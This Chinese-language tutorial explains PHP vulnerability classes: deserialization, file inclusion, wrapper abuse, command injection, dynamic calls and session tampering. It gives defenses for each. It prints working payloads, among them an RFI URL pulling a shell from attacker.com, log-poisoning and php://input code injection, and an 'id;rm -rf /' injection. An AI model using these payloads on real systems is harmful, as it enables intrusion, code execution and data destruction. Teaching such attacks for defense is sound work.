PHP特有的安全漏洞及渗透测试利用方法(通俗易懂)
任何编程语言和软件项目,都会存在安全漏洞,只有漏洞利用成本的高低!
本文章仅提供学习,切勿将其用于不法手段!
一、反序列化漏洞(最常见也最危险)
原理:
PHP对象序列化后是二进制数据,反序列化时如果数据被篡改,可能执行恶意代码。就像你拆快递时,包裹里被塞了炸弹,一拆就炸。
渗透测试利用方法:
- 生成恶意对象:用PHP代码构造一个包含危险函数的对象(如
system()
)。class Evil {public function __destruct() {system('calc.exe'); // 弹计算器} } $payload = serialize(new Evil());
- 构造请求:将生成的
payload
作为参数传入目标程序的反序列化接口。curl http://target.com/?data=O:4:"Evil":0:{}
- 触发漏洞:目标程序反序列化时,会直接执行
calc.exe
。
防御:
- 升级PHP到最新版本(修复部分反序列化漏洞)。
- 避免反序列化用户输入的数据,改用JSON等安全格式。
- 在反序列化时检查类名白名单。
二、文件包含漏洞(LFI/RFI)
原理:
PHP的include()
、require()
等函数如果未过滤用户输入,攻击者可以指定任意文件路径,甚至读取服务器敏感文件或执行远程代码。
渗透测试利用方法:
本地文件包含(LFI):
- 读取配置文件:
// 构造URL http://example.com/?file=php://filter/read=convert.base64-encode/resource=config.php
- 日志文件注入:在日志中写入PHP代码,再包含日志文件执行。
# 在请求头注入代码 User-Agent: <?php system('id'); ?>
- 读取配置文件:
远程文件包含(RFI):
// 构造URL http://example.com/?file=http://attacker.com/shell.txt
需要服务器开启
allow_url_include=On
。
防御:
- 关闭
allow_url_include
和allow_url_fopen
。 - 设置
open_basedir
限制文件访问范围。 - 对用户输入的文件名进行白名单校验。
三、PHP伪协议攻击
原理:
PHP内置的伪协议(如php://input
、data://
)允许直接处理输入流或内联代码,攻击者可利用其绕过过滤规则。
渗透测试利用方法:
php://input:
通过POST请求体直接注入PHP代码:POST /vuln.php?url=php://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded<?php system('whoami'); ?>
需服务器开启
allow_url_include=On
。data://:
直接嵌入Base64编码的代码:http://example.com/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
解码后执行
phpinfo()
。
防御:
- 禁用危险伪协议(如
php://
、data://
)。 - 对输入内容进行严格过滤和转义。
四、命令注入漏洞
原理:
PHP调用系统命令的函数(如system()
、exec()
)未过滤用户输入,导致拼接恶意命令。
渗透测试利用方法:
// 漏洞代码
$user_input = $_GET['cmd'];
system("ping " . $user_input);
构造恶意输入:
http://example.com/?cmd=id;rm -rf /
执行id
后继续执行删除命令。
防御:
- 使用
escapeshellarg()
转义参数。 - 避免直接拼接用户输入到命令中,改用白名单校验。
五、动态函数调用漏洞
原理:
PHP允许通过变量动态调用函数,如果变量可控,攻击者可指定危险函数。
渗透测试利用方法:
// 漏洞代码
$func = $_GET['func'];
$func($_GET['arg']);
构造Payload:
http://example.com/?func=system&arg=id
触发执行system('id')
。
防御:
- 禁用危险函数(如
system
、eval
)。 - 对动态调用的函数名进行白名单限制。
六、Session反序列化漏洞
原理:
PHP的Session数据默认序列化存储,如果攻击者能篡改Session文件,可触发恶意代码。
渗透测试利用方法:
- 生成恶意Session数据:
session_start(); $_SESSION['evil'] = new EvilClass(); session_write_close();
- 替换目标服务器的Session文件,触发
__destruct()
中的恶意操作。
防御:
- 设置
session.save_path
为不可写目录。 - 对Session数据进行签名验证。
总结:PHP漏洞的“防身三招”
- 输入过滤:所有用户输入必须白名单校验,过滤特殊字符(如
../
、php://
)。 - 关闭危险配置:
allow_url_include = Off allow_url_fopen = Off disable_functions = "eval,system,exec"
- 代码审计:重点检查
unserialize()
、include()
等高风险函数的使用。
一句话口诀:
输入要过滤,伪协议要小心,函数别乱调,日志勤检查!
注:所有技术研究需遵循《网络安全法》及《数据安全法》相关规定,践行合法合规的网络安全技术探索。
提示:最有效的防御办法,是让攻击者由于攻击成本过高,而主动放弃针对目标进行攻击!
没有攻不破的城墙,只有 由于 付出成本 远超于 收获价值 而 选择 主动放弃 攻击行为 的 敌人 !